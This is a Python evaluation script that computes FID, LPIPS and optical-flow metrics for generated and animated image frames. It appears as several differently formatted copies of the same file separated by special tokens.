frame_batch.min()) / (frame_batch.max( ) - frame_batch.min()) assert not (frame_batch < 0).any() and not (frame_batch > 1).any() scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:]) frame_batch = F.interpolate(frame_batch, size=scaled_size, mode= 'bilinear', align_corners=False) crop_y1, crop_y2, crop_x1, crop_x2 = ( choose_center_full_size_crop_params(*frame_batch.shape[2:])) frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2] frame_img = batch2pil(frame_batch)[0] real_frames_as_img.append(frame_img) cur_segm_scores = segmentation_network.predict(frame_batch, imgSizes=[args.resolution]) cur_segm_proba = F.softmax(cur_segm_scores, dim=1) f_id = os.path.splitext(os.path.basename(fname))[0] real_frames_with_segm[f_id] = frame_batch, cur_segm_proba animated_frames_by_i = collections.defaultdict(list) for src_path in sorted(glob.glob(os.path.join(args.animated_images, '*'))): if not os.path.isdir(src_path): continue print(f'Processing {src_path}') if src_path.endswith('/'): src_path = src_path[:-1] vname = os.path.basename(src_path) frames = load_video_frames_from_folder(src_path, frame_template= args.frametemplate) / 2 + 0.5 assert not (frames < 0).any() and not (frames > 1).any() for i, fr in enumerate(batch2pil(frames)): animated_frames_by_i[i].append(fr) cur_real_frame = None cur_real_segm_proba = None for frname, (fr, segm) in real_frames_with_segm.items(): if vname.startswith(frname): cur_real_frame = fr cur_real_segm_proba = segm break assert cur_real_frame is not None, (vname, real_frames_with_segm.keys() ) movable_scores = cur_real_segm_proba[:, MOVABLE_CLASSES].max(1, keepdim=True)[0] immovable_scores = cur_real_segm_proba[:, [c for c in range( cur_real_segm_proba.shape[1]) if c not in MOVABLE_CLASSES]].max( 1, keepdim=True)[0] shift_mask = (movable_scores > immovable_scores).float() print('Flow metrics...') flow_metrics = calc_optical_flow_metrics(flow_predictor, frames, shift_mask > 0) print('LPIPS metrics...') cur_metrics = collections.defaultdict(float) cur_metrics['lpips_1_frame'] = float(lpips_criterion(frames[:1], cur_real_frame)) lpips = [] for l in range(0, frames.shape[0], args.batch): r = min(l + args.batch, frames.shape[0]) lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 - shift_mask), cur_real_frame.cuda() * (1 - shift_mask)))) cur_metrics['lpips_anim'] = np.mean(lpips) sum_dicts(cur_metrics, flow_metrics) all_metrics.append(cur_metrics) all_metrics_idx.append(vname) print('Calculating FID...') block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048] fid_model = InceptionV3([block_idx]).cuda() fid_real_means, fid_real_std = _compute_statistics_of_images( real_frames_as_img, fid_model, batch_size=args.batch, dims=2048, cuda=True, keep_size=False) for i, cur_gen_frames in animated_frames_by_i.items(): if i % args.skipframe != 0: continue cur_fid_means, cur_fid_std = _compute_statistics_of_images( cur_gen_frames, fid_model, batch_size=args.batch, dims=2048, cuda=True, keep_size=False) fid[f'fid_{i}'] = float(calculate_frechet_distance(fid_real_means, fid_real_std, cur_fid_means, cur_fid_std)) all_metrics.append(fid) all_metrics_idx.append('global_metrics') os.makedirs(os.path.dirname(args.outpath), exist_ok=True) sum_metrics = pd.DataFrame(all_metrics, index=all_metrics_idx) sum_metrics.to_csv(args.outpath, sep='\t') if __name__ == '__main__': import argparse aparser = argparse.ArgumentParser() aparser.add_argument('--outpath', type=str, default= 'results/metrics.csv', help='Path to file to write metrics to') aparser.add_argument('--gen-images', type=str, default= 'results/generated/256/images', help='Path to generated images') aparser.add_argument('--gt-images', type=str, default= 'results/gt_images', help='Path to gt-images') aparser.add_argument('--gen-videos', type=str, default= 'results/generated/256/noise', help= 'Path to generated videos (separate folder with frames for each video)' ) aparser.add_argument('--animated-images', type=str, default= 'results/encode_and_animate_results/test_images/02_eoif', help= 'Path to animated images (separate folder with frames for each video)') aparser.add_argument('--real-images', type=str, default= 'results/test_images', help='Path to real input images') aparser.add_argument('--frametemplate', type=str, default='{:05}.jpg', help='Template to generate frame file names') aparser.add_argument('--resolution', type=int, default=256, help= 'Resolution of generated frames') aparser.add_argument('--skipframe', type=int, default=10, help= 'How many frames to skip before evaluating FID') aparser.add_argument('--batch', type=int, default=69, help= 'Batch size for FID and LPIPS calculation') aparser.add_argument('--segm-network', type=str, default=os.path.join( constants.RESULT_DIR, 'pretrained_models/ade20k-resnet50dilated-ppm_deepsup'), help= 'Path to ade20k-resnet50dilated-ppm_deepsup') aparser.add_argument('--flow-network', type=str, default=os.path.join( constants.RESULT_DIR, 'pretrained_models/SuperSloMo.ckpt'), help= 'Path to SuperSloMo.ckpt') aparser.add_argument('--lpips-network', type=str, default=os.path.join( constants.RESULT_DIR, 'pretrained_models/lpips_models/vgg.pth'), help='Path to vgg.pth') main(aparser.parse_args()) <|reserved_special_token_1|> <|reserved_special_token_0|> MOVABLE_CLASSES = [2, 21] def calc_optical_flow_metrics(flow_predictor, frames, movable_mask): if not movable_mask.any(): return dict(flow_l2=float('nan')) assert not (frames < 0).any() and not (frames > 1).any() flows = flow_predictor.predict_flow(frames * 2 - 1)[1] flows_x, flows_y = flows[:, [0]], flows[:, [1]] flow_x_median = float(flows_x[movable_mask.expand_as(flows_x)].abs().mean() ) flow_y_median = float(flows_y[movable_mask.expand_as(flows_y)].abs().mean() ) result = dict(flow_l2=(flow_x_median ** 2 + flow_y_median ** 2) ** 0.5) return result def batch2pil(batch): np_batch = ((batch.permute(0, 2, 3, 1) / 2 + 0.5) * 255).clamp(0, 255).cpu( ).numpy().astype('uint8') return [Image.fromarray(ar) for ar in np_batch] def main(args): segmentation_network = SegmentationModule(os.path.expandvars(args. segm_network)).cuda() segmentation_network.eval() lpips_criterion = LPIPSLossWrapper(args.lpips_network).cuda() flow_predictor = FlowPredictor(os.path.expandvars(args.flow_network)) all_metrics = [] all_metrics_idx = [] gen_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args. gen_images), '*.jpg'))) gen_frames_as_img = [] for fname in gen_frame_paths: frame = Image.open(fname).convert('RGB') frame_batch = image2batch(frame).cuda() / 2 + 0.5 assert not (frame_batch < 0).any() and not (frame_batch > 1).any() frame_img = batch2pil(frame_batch)[0] gen_frames_as_img.append(frame_img) gt_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args. gt_images), '*.jpg'))) gt_frames_as_img = [] for fname in gt_frame_paths: frame = Image.open(fname).convert('RGB') frame = frame.resize(get_scale_size(args.resolution, frame.size)) frame_batch = image2batch(frame).cuda() / 2 + 0.5 assert not (frame_batch < 0).any() and not (frame_batch > 1).any() scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:]) frame_batch = F.interpolate(frame_batch, size=scaled_size, mode= 'bilinear', align_corners=False) crop_y1, crop_y2, crop_x1, crop_x2 = ( choose_center_full_size_crop_params(*frame_batch.shape[2:])) frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2] frame_img = batch2pil(frame_batch)[0] gt_frames_as_img.append(frame_img) print('Calculating FID for images...') block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048] fid_model = InceptionV3([block_idx]).cuda() fid_gt_means, fid_gt_std = _compute_statistics_of_images(gt_frames_as_img, fid_model, batch_size=args.batch, dims=2048, cuda=True, keep_size=False ) fid_gen_means, fid_gen_std = _compute_statistics_of_images( gen_frames_as_img, fid_model, batch_size=args.batch, dims=2048, cuda=True, keep_size=False) fid = dict() fid['fid_images'] = float(calculate_frechet_distance(fid_gt_means, fid_gt_std, fid_gen_means, fid_gen_std)) for src_path in sorted(glob.glob(os.path.join(args.gen_videos, '*'))): if not os.path.isdir(src_path): continue print(f'Processing {src_path}') if src_path.endswith('/'): src_path = src_path[:-1] vname = os.path.basename(src_path) frames = load_video_frames_from_folder(src_path, frame_template= args.frametemplate) / 2 + 0.5 assert not (frames < 0).any() and not (frames > 1).any() cur_segm_scores = segmentation_network.predict(frames[:1].cuda(), imgSizes=[args.resolution]) cur_segm_proba = F.softmax(cur_segm_scores, dim=1) movable_scores = cur_segm_proba[:, MOVABLE_CLASSES].max(1, keepdim=True )[0] immovable_scores = cur_segm_proba[:, [c for c in range( cur_segm_proba.shape[1]) if c not in MOVABLE_CLASSES]].max(1, keepdim=True)[0] shift_mask = (movable_scores > immovable_scores).float() print('Flow metrics...') flow_metrics = calc_optical_flow_metrics(flow_predictor, frames, shift_mask > 0) print('LPIPS metrics...') cur_metrics = collections.defaultdict(float) lpips = [] for l in range(1, frames.shape[0], args.batch): r = min(l + args.batch, frames.shape[0]) lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 - shift_mask), frames[0].cuda() * (1 - shift_mask)))) cur_metrics['lpips_gen'] = np.mean(lpips) sum_dicts(cur_metrics, flow_metrics) all_metrics.append(cur_metrics) all_metrics_idx.append(vname) real_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args. real_images), '*.jpg'))) real_frames_as_img = [] real_frames_with_segm = {} for fname in real_frame_paths: frame = Image.open(fname).convert('RGB') frame = frame.resize(get_scale_size(args.resolution, frame.size)) frame_batch = image2batch(frame).cuda() frame_batch = (frame_batch - frame_batch.min()) / (frame_batch.max( ) - frame_batch.min()) assert not (frame_batch < 0).any() and not (frame_batch > 1).any() scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:]) frame_batch = F.interpolate(frame_batch, size=scaled_size, mode= 'bilinear', align_corners=False) crop_y1, crop_y2, crop_x1, crop_x2 = ( choose_center_full_size_crop_params(*frame_batch.shape[2:])) frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2] frame_img = batch2pil(frame_batch)[0] real_frames_as_img.append(frame_img) cur_segm_scores = segmentation_network.predict(frame_batch, imgSizes=[args.resolution]) cur_segm_proba = F.softmax(cur_segm_scores, dim=1) f_id = os.path.splitext(os.path.basename(fname))[0] real_frames_with_segm[f_id] = frame_batch, cur_segm_proba animated_frames_by_i = collections.defaultdict(list) for src_path in sorted(glob.glob(os.path.join(args.animated_images, '*'))): if not os.path.isdir(src_path): continue print(f'Processing {src_path}') if src_path.endswith('/'): src_path = src_path[:-1] vname = os.path.basename(src_path) frames = load_video_frames_from_folder(src_path, frame_template= args.frametemplate) / 2 + 0.5 assert not (frames < 0).any() and not (frames > 1).any() for i, fr in enumerate(batch2pil(frames)): animated_frames_by_i[i].append(fr) cur_real_frame = None cur_real_segm_proba = None for frname, (fr, segm) in real_frames_with_segm.items(): if vname.startswith(frname): cur_real_frame = fr cur_real_segm_proba = segm break assert cur_real_frame is not None, (vname, real_frames_with_segm.keys() ) movable_scores = cur_real_segm_proba[:, MOVABLE_CLASSES].max(1, keepdim=True)[0] immovable_scores = cur_real_segm_proba[:, [c for c in range( cur_real_segm_proba.shape[1]) if c not in MOVABLE_CLASSES]].max( 1, keepdim=True)[0] shift_mask = (movable_scores > immovable_scores).float() print('Flow metrics...') flow_metrics = calc_optical_flow_metrics(flow_predictor, frames, shift_mask > 0) print('LPIPS metrics...') cur_metrics = collections.defaultdict(float) cur_metrics['lpips_1_frame'] = float(lpips_criterion(frames[:1], cur_real_frame)) lpips = [] for l in range(0, frames.shape[0], args.batch): r = min(l + args.batch, frames.shape[0]) lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 - shift_mask), cur_real_frame.cuda() * (1 - shift_mask)))) cur_metrics['lpips_anim'] = np.mean(lpips) sum_dicts(cur_metrics, flow_metrics) all_metrics.append(cur_metrics) all_metrics_idx.append(vname) print('Calculating FID...') block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048] fid_model = InceptionV3([block_idx]).cuda() fid_real_means, fid_real_std = _compute_statistics_of_images( real_frames_as_img, fid_model, batch_size=args.batch, dims=2048, cuda=True, keep_size=False) for i, cur_gen_frames in animated_frames_by_i.items(): if i % args.skipframe != 0: continue cur_fid_means, cur_fid_std = _compute_statistics_of_images( cur_gen_frames, fid_model, batch_size=args.batch, dims=2048, cuda=True, keep_size=False) fid[f'fid_{i}'] = float(calculate_frechet_distance(fid_real_means, fid_real_std, cur_fid_means, cur_fid_std)) all_metrics.append(fid) all_metrics_idx.append('global_metrics') os.makedirs(os.path.dirname(args.outpath), exist_ok=True) sum_metrics = pd.DataFrame(all_metrics, index=all_metrics_idx) sum_metrics.to_csv(args.outpath, sep='\t') if __name__ == '__main__': import argparse aparser = argparse.ArgumentParser() aparser.add_argument('--outpath', type=str, default= 'results/metrics.csv', help='Path to file to write metrics to') aparser.add_argument('--gen-images', type=str, default= 'results/generated/256/images', help='Path to generated images') aparser.add_argument('--gt-images', type=str, default= 'results/gt_images', help='Path to gt-images') aparser.add_argument('--gen-videos', type=str, default= 'results/generated/256/noise', help= 'Path to generated videos (separate folder with frames for each video)' ) aparser.add_argument('--animated-images', type=str, default= 'results/encode_and_animate_results/test_images/02_eoif', help= 'Path to animated images (separate folder with frames for each video)') aparser.add_argument('--real-images', type=str, default= 'results/test_images', help='Path to real input images') aparser.add_argument('--frametemplate', type=str, default='{:05}.jpg', help='Template to generate frame file names') aparser.add_argument('--resolution', type=int, default=256, help= 'Resolution of generated frames') aparser.add_argument('--skipframe', type=int, default=10, help= 'How many frames to skip before evaluating FID') aparser.add_argument('--batch', type=int, default=69, help= 'Batch size for FID and LPIPS calculation') aparser.add_argument('--segm-network', type=str, default=os.path.join( constants.RESULT_DIR, 'pretrained_models/ade20k-resnet50dilated-ppm_deepsup'), help= 'Path to ade20k-resnet50dilated-ppm_deepsup') aparser.add_argument('--flow-network', type=str, default=os.path.join( constants.RESULT_DIR, 'pretrained_models/SuperSloMo.ckpt'), help= 'Path to SuperSloMo.ckpt') aparser.add_argument('--lpips-network', type=str, default=os.path.join( constants.RESULT_DIR, 'pretrained_models/lpips_models/vgg.pth'), help='Path to vgg.pth') main(aparser.parse_args()) <|reserved_special_token_1|> import collections import glob import os import pandas as pd import numpy as np import torch.nn.functional as F import PIL.Image as Image from inference.base_image_utils import get_scale_size, image2batch, choose_center_full_size_crop_params from inference.metrics.fid.fid_score import _compute_statistics_of_images, calculate_frechet_distance from inference.metrics.fid.inception import InceptionV3 from inference.metrics.lpips import LPIPSLossWrapper from inference.perspective import load_video_frames_from_folder, FlowPredictor from inference.segmentation import SegmentationModule from inference.encode_and_animate import calc_segmentation_posterior_error, sum_dicts from inference.metrics.ssim import SSIM import constants MOVABLE_CLASSES = [2, 21] def calc_optical_flow_metrics(flow_predictor, frames, movable_mask): if not movable_mask.any(): return dict(flow_l2=float('nan')) assert not (frames < 0).any() and not (frames > 1).any() flows = flow_predictor.predict_flow(frames * 2 - 1)[1] flows_x, flows_y = flows[:, [0]], flows[:, [1]] flow_x_median = float(flows_x[movable_mask.expand_as(flows_x)].abs().mean() ) flow_y_median = float(flows_y[movable_mask.expand_as(flows_y)].abs().mean() ) result = dict(flow_l2=(flow_x_median ** 2 + flow_y_median ** 2) ** 0.5) return result def batch2pil(batch): np_batch = ((batch.permute(0, 2, 3, 1) / 2 + 0.5) * 255).clamp(0, 255).cpu( ).numpy().astype('uint8') return [Image.fromarray(ar) for ar in np_batch] def main(args): segmentation_network = SegmentationModule(os.path.expandvars(args. segm_network)).cuda() segmentation_network.eval() lpips_criterion = LPIPSLossWrapper(args.lpips_network).cuda() flow_predictor = FlowPredictor(os.path.expandvars(args.flow_network)) all_metrics = [] all_metrics_idx = [] gen_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args. gen_images), '*.jpg'))) gen_frames_as_img = [] for fname in gen_frame_paths: frame = Image.open(fname).convert('RGB') frame_batch = image2batch(frame).cuda() / 2 + 0.5 assert not (frame_batch < 0).any() and not (frame_batch > 1).any() frame_img = batch2pil(frame_batch)[0] gen_frames_as_img.append(frame_img) gt_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args. gt_images), '*.jpg'))) gt_frames_as_img = [] for fname in gt_frame_paths: frame = Image.open(fname).convert('RGB') frame = frame.resize(get_scale_size(args.resolution, frame.size)) frame_batch = image2batch(frame).cuda() / 2 + 0.5 assert not (frame_batch < 0).any() and not (frame_batch > 1).any() scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:]) frame_batch = F.interpolate(frame_batch, size=scaled_size, mode= 'bilinear', align_corners=False) crop_y1, crop_y2, crop_x1, crop_x2 = ( choose_center_full_size_crop_params(*frame_batch.shape[2:])) frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2] frame_img = batch2pil(frame_batch)[0] gt_frames_as_img.append(frame_img) print('Calculating FID for images...') block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048] fid_model = InceptionV3([block_idx]).cuda() fid_gt_means, fid_gt_std = _compute_statistics_of_images(gt_frames_as_img, fid_model, batch_size=args.batch, dims=2048, cuda=True, keep_size=False ) fid_gen_means, fid_gen_std = _compute_statistics_of_images( gen_frames_as_img, fid_model, batch_size=args.batch, dims=2048, cuda=True, keep_size=False) fid = dict() fid['fid_images'] = float(calculate_frechet_distance(fid_gt_means, fid_gt_std, fid_gen_means, fid_gen_std)) for src_path in sorted(glob.glob(os.path.join(args.gen_videos, '*'))): if not os.path.isdir(src_path): continue print(f'Processing {src_path}') if src_path.endswith('/'): src_path = src_path[:-1] vname = os.path.basename(src_path) frames = load_video_frames_from_folder(src_path, frame_template= args.frametemplate) / 2 + 0.5 assert not (frames < 0).any() and not (frames > 1).any() cur_segm_scores = segmentation_network.predict(frames[:1].cuda(), imgSizes=[args.resolution]) cur_segm_proba = F.softmax(cur_segm_scores, dim=1) movable_scores = cur_segm_proba[:, MOVABLE_CLASSES].max(1, keepdim=True )[0] immovable_scores = cur_segm_proba[:, [c for c in range( cur_segm_proba.shape[1]) if c not in MOVABLE_CLASSES]].max(1, keepdim=True)[0] shift_mask = (movable_scores > immovable_scores).float() print('Flow metrics...') flow_metrics = calc_optical_flow_metrics(flow_predictor, frames, shift_mask > 0) print('LPIPS metrics...') cur_metrics = collections.defaultdict(float) lpips = [] for l in range(1, frames.shape[0], args.batch): r = min(l + args.batch, frames.shape[0]) lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 - shift_mask), frames[0].cuda() * (1 - shift_mask)))) cur_metrics['lpips_gen'] = np.mean(lpips) sum_dicts(cur_metrics, flow_metrics) all_metrics.append(cur_metrics) all_metrics_idx.append(vname) real_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args. real_images), '*.jpg'))) real_frames_as_img = [] real_frames_with_segm = {} for fname in real_frame_paths: frame = Image.open(fname).convert('RGB') frame = frame.resize(get_scale_size(args.resolution, frame.size)) frame_batch = image2batch(frame).cuda() frame_batch = (frame_batch - frame_batch.min()) / (frame_batch.max( ) - frame_batch.min()) assert not (frame_batch < 0).any() and not (frame_batch > 1).any() scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:]) frame_batch = F.interpolate(frame_batch, size=scaled_size, mode= 'bilinear', align_corners=False) crop_y1, crop_y2, crop_x1, crop_x2 = ( choose_center_full_size_crop_params(*frame_batch.shape[2:])) frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2] frame_img = batch2pil(frame_batch)[0] real_frames_as_img.append(frame_img) cur_segm_scores = segmentation_network.predict(frame_batch, imgSizes=[args.resolution]) cur_segm_proba = F.softmax(cur_segm_scores, dim=1) f_id = os.path.splitext(os.path.basename(fname))[0] real_frames_with_segm[f_id] = frame_batch, cur_segm_proba animated_frames_by_i = collections.defaultdict(list) for src_path in sorted(glob.glob(os.path.join(args.animated_images, '*'))): if not os.path.isdir(src_path): continue print(f'Processing {src_path}') if src_path.endswith('/'): src_path = src_path[:-1] vname = os.path.basename(src_path) frames = load_video_frames_from_folder(src_path, frame_template= args.frametemplate) / 2 + 0.5 assert not (frames < 0).any() and not (frames > 1).any() for i, fr in enumerate(batch2pil(frames)): animated_frames_by_i[i].append(fr) cur_real_frame = None cur_real_segm_proba = None for frname, (fr, segm) in real_frames_with_segm.items(): if vname.startswith(frname): cur_real_frame = fr cur_real_segm_proba = segm break assert cur_real_frame is not None, (vname, real_frames_with_segm.keys() ) movable_scores = cur_real_segm_proba[:, MOVABLE_CLASSES].max(1, keepdim=True)[0] immovable_scores = cur_real_segm_proba[:, [c for c in range( cur_real_segm_proba.shape[1]) if c not in MOVABLE_CLASSES]].max( 1, keepdim=True)[0] shift_mask = (movable_scores > immovable_scores).float() print('Flow metrics...') flow_metrics = calc_optical_flow_metrics(flow_predictor, frames, shift_mask > 0) print('LPIPS metrics...') cur_metrics = collections.defaultdict(float) cur_metrics['lpips_1_frame'] = float(lpips_criterion(frames[:1], cur_real_frame)) lpips = [] for l in range(0, frames.shape[0], args.batch): r = min(l + args.batch, frames.shape[0]) lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 - shift_mask), cur_real_frame.cuda() * (1 - shift_mask)))) cur_metrics['lpips_anim'] = np.mean(lpips) sum_dicts(cur_metrics, flow_metrics) all_metrics.append(cur_metrics) all_metrics_idx.append(vname) print('Calculating FID...') block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048] fid_model = InceptionV3([block_idx]).cuda() fid_real_means, fid_real_std = _compute_statistics_of_images( real_frames_as_img, fid_model, batch_size=args.batch, dims=2048, cuda=True, keep_size=False) for i, cur_gen_frames in animated_frames_by_i.items(): if i % args.skipframe != 0: continue cur_fid_means, cur_fid_std = _compute_statistics_of_images( cur_gen_frames, fid_model, batch_size=args.batch, dims=2048, cuda=True, keep_size=False) fid[f'fid_{i}'] = float(calculate_frechet_distance(fid_real_means, fid_real_std, cur_fid_means, cur_fid_std)) all_metrics.append(fid) all_metrics_idx.append('global_metrics') os.makedirs(os.path.dirname(args.outpath), exist_ok=True) sum_metrics = pd.DataFrame(all_metrics, index=all_metrics_idx) sum_metrics.to_csv(args.outpath, sep='\t') if __name__ == '__main__': import argparse aparser = argparse.ArgumentParser() aparser.add_argument('--outpath', type=str, default= 'results/metrics.csv', help='Path to file to write metrics to') aparser.add_argument('--gen-images', type=str, default= 'results/generated/256/images', help='Path to generated images') aparser.add_argument('--gt-images', type=str, default= 'results/gt_images', help='Path to gt-images') aparser.add_argument('--gen-videos', type=str, default= 'results/generated/256/noise', help= 'Path to generated videos (separate folder with frames for each video)' ) aparser.add_argument('--animated-images', type=str, default= 'results/encode_and_animate_results/test_images/02_eoif', help= 'Path to animated images (separate folder with frames for each video)') aparser.add_argument('--real-images', type=str, default= 'results/test_images', help='Path to real input images') aparser.add_argument('--frametemplate', type=str, default='{:05}.jpg', help='Template to generate frame file names') aparser.add_argument('--resolution', type=int, default=256, help= 'Resolution of generated frames') aparser.add_argument('--skipframe', type=int, default=10, help= 'How many frames to skip before evaluating FID') aparser.add_argument('--batch', type=int, default=69, help= 'Batch size for FID and LPIPS calculation') aparser.add_argument('--segm-network', type=str, default=os.path.join( constants.RESULT_DIR, 'pretrained_models/ade20k-resnet50dilated-ppm_deepsup'), help= 'Path to ade20k-resnet50dilated-ppm_deepsup') aparser.add_argument('--flow-network', type=str, default=os.path.join( constants.RESULT_DIR, 'pretrained_models/SuperSloMo.ckpt'), help= 'Path to SuperSloMo.ckpt') aparser.add_argument('--lpips-network', type=str, default=os.path.join( constants.RESULT_DIR, 'pretrained_models/lpips_models/vgg.pth'), help='Path to vgg.pth') main(aparser.parse_args()) <|reserved_special_token_1|> #!/usr/bin/env python3 import collections import glob import os import pandas as pd import numpy as np import torch.nn.functional as F import PIL.Image as Image from inference.base_image_utils import get_scale_size, image2batch, choose_center_full_size_crop_params from inference.metrics.fid.fid_score import _compute_statistics_of_images, \ calculate_frechet_distance from inference.metrics.fid.inception import InceptionV3 from inference.metrics.lpips import LPIPSLossWrapper from inference.perspective import load_video_frames_from_folder, FlowPredictor from inference.segmentation import SegmentationModule from inference.encode_and_animate import calc_segmentation_posterior_error, sum_dicts from inference.metrics.ssim import SSIM import constants MOVABLE_CLASSES = [2, 21] def calc_optical_flow_metrics(flow_predictor, frames, movable_mask): if not movable_mask.any(): return dict(flow_l2=float('nan')) assert not (frames < 0).any() and not (frames > 1).any() flows = flow_predictor.predict_flow(frames * 2 - 1)[1] flows_x, flows_y = flows[:, [0]], flows[:, [1]] flow_x_median = float(flows_x[movable_mask.expand_as(flows_x)].abs().mean()) flow_y_median = float(flows_y[movable_mask.expand_as(flows_y)].abs().mean()) result = dict(flow_l2=(flow_x_median ** 2 + flow_y_median ** 2) ** 0.5) return result def batch2pil(batch): np_batch = ((batch.permute(0, 2, 3, 1) / 2 + 0.5) * 255).clamp(0, 255).cpu().numpy().astype('uint8') return [Image.fromarray(ar) for ar in np_batch] def main(args): segmentation_network = SegmentationModule(os.path.expandvars(args.segm_network)).cuda() segmentation_network.eval() lpips_criterion = LPIPSLossWrapper(args.lpips_network).cuda() flow_predictor = FlowPredictor(os.path.expandvars(args.flow_network)) all_metrics = [] all_metrics_idx = [] # load generated images gen_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.gen_images), '*.jpg'))) gen_frames_as_img = [] for fname in gen_frame_paths: frame = Image.open(fname).convert('RGB') frame_batch = image2batch(frame).cuda() / 2 + 0.5 assert not (frame_batch < 0).any() and not (frame_batch > 1).any() frame_img = batch2pil(frame_batch)[0] gen_frames_as_img.append(frame_img) # load gt-images, scale, crop and segment gt_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.gt_images), '*.jpg'))) gt_frames_as_img = [] for fname in gt_frame_paths: frame = Image.open(fname).convert('RGB') frame = frame.resize(get_scale_size(args.resolution, frame.size)) frame_batch = image2batch(frame).cuda() / 2 + 0.5 assert not (frame_batch < 0).any() and not (frame_batch > 1).any() scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:]) frame_batch = F.interpolate(frame_batch, size=scaled_size, mode='bilinear', align_corners=False) crop_y1, crop_y2, crop_x1, crop_x2 = choose_center_full_size_crop_params(*frame_batch.shape[2:]) frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2] frame_img = batch2pil(frame_batch)[0] gt_frames_as_img.append(frame_img) # compute FID between generated images and gt print('Calculating FID for images...') block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048] fid_model = InceptionV3([block_idx]).cuda() fid_gt_means, fid_gt_std = _compute_statistics_of_images(gt_frames_as_img, fid_model, batch_size=args.batch, dims=2048, cuda=True, keep_size=False) fid_gen_means, fid_gen_std = _compute_statistics_of_images(gen_frames_as_img, fid_model, batch_size=args.batch, dims=2048, cuda=True, keep_size=False) fid = dict() fid['fid_images'] = float(calculate_frechet_distance(fid_gt_means, fid_gt_std, fid_gen_means, fid_gen_std)) # load generated videos for src_path in sorted(glob.glob(os.path.join(args.gen_videos, '*'))): if not os.path.isdir(src_path): continue print(f'Processing {src_path}') if src_path.endswith('/'): src_path = src_path[:-1] vname = os.path.basename(src_path) frames = load_video_frames_from_folder(src_path, frame_template=args.frametemplate) / 2 + 0.5 assert not (frames < 0).any() and not (frames > 1).any() # get mask from the first frame cur_segm_scores = segmentation_network.predict(frames[:1].cuda(), imgSizes=[args.resolution]) cur_segm_proba = F.softmax(cur_segm_scores, dim=1) movable_scores = cur_segm_proba[:, MOVABLE_CLASSES].max(1, keepdim=True)[0] immovable_scores = cur_segm_proba[:, [c for c in range(cur_segm_proba.shape[1]) if c not in MOVABLE_CLASSES]].max(1, keepdim=True)[0] shift_mask = (movable_scores > immovable_scores).float() print('Flow metrics...') flow_metrics = calc_optical_flow_metrics(flow_predictor, frames, shift_mask > 0) print('LPIPS metrics...') cur_metrics = collections.defaultdict(float) lpips = [] for l in range(1, frames.shape[0], args.batch): r = min(l + args.batch, frames.shape[0]) lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 - shift_mask), frames[0].cuda() * (1 - shift_mask)))) cur_metrics['lpips_gen'] = np.mean(lpips) sum_dicts(cur_metrics, flow_metrics) all_metrics.append(cur_metrics) all_metrics_idx.append(vname) # load real images, from which the videos were generated, scale, crop and segment real_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.real_images), '*.jpg'))) real_frames_as_img = [] real_frames_with_segm = {} for fname in real_frame_paths: frame = Image.open(fname).convert('RGB') frame = frame.resize(get_scale_size(args.resolution, frame.size)) # check the interval of stored numbers: 0..1 || -1..1 || 0..255 frame_batch = image2batch(frame).cuda() frame_batch = (frame_batch - frame_batch.min()) / (frame_batch.max() - frame_batch.min()) assert not (frame_batch < 0).any() and not (frame_batch > 1).any() scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:]) frame_batch = F.interpolate(frame_batch, size=scaled_size, mode='bilinear', align_corners=False) crop_y1, crop_y2, crop_x1, crop_x2 = choose_center_full_size_crop_params(*frame_batch.shape[2:]) frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2] frame_img = batch2pil(frame_batch)[0] real_frames_as_img.append(frame_img) cur_segm_scores = segmentation_network.predict(frame_batch, imgSizes=[args.resolution]) cur_segm_proba = F.softmax(cur_segm_scores, dim=1) f_id = os.path.splitext(os.path.basename(fname))[0] real_frames_with_segm[f_id] = (frame_batch, cur_segm_proba) # load videos -- animated real images animated_frames_by_i = collections.defaultdict(list) for src_path in sorted(glob.glob(os.path.join(args.animated_images, '*'))): if not os.path.isdir(src_path): continue print(f'Processing {src_path}') if src_path.endswith('/'): src_path = src_path[:-1] vname = os.path.basename(src_path) frames = load_video_frames_from_folder(src_path, frame_template=args.frametemplate) / 2 + 0.5 assert not (frames < 0).any() and not (frames > 1).any() for i, fr in enumerate(batch2pil(frames)): animated_frames_by_i[i].append(fr) cur_real_frame = None cur_real_segm_proba = None for frname, (fr, segm) in real_frames_with_segm.items(): if vname.startswith(frname): cur_real_frame = fr cur_real_segm_proba = segm break assert cur_real_frame is not None, (vname, real_frames_with_segm.keys()) movable_scores = cur_real_segm_proba[:, MOVABLE_CLASSES].max(1, keepdim=True)[0] immovable_scores = cur_real_segm_proba[:, [c for c in range(cur_real_segm_proba.shape[1]) if c not in MOVABLE_CLASSES]].max(1, keepdim=True)[0] 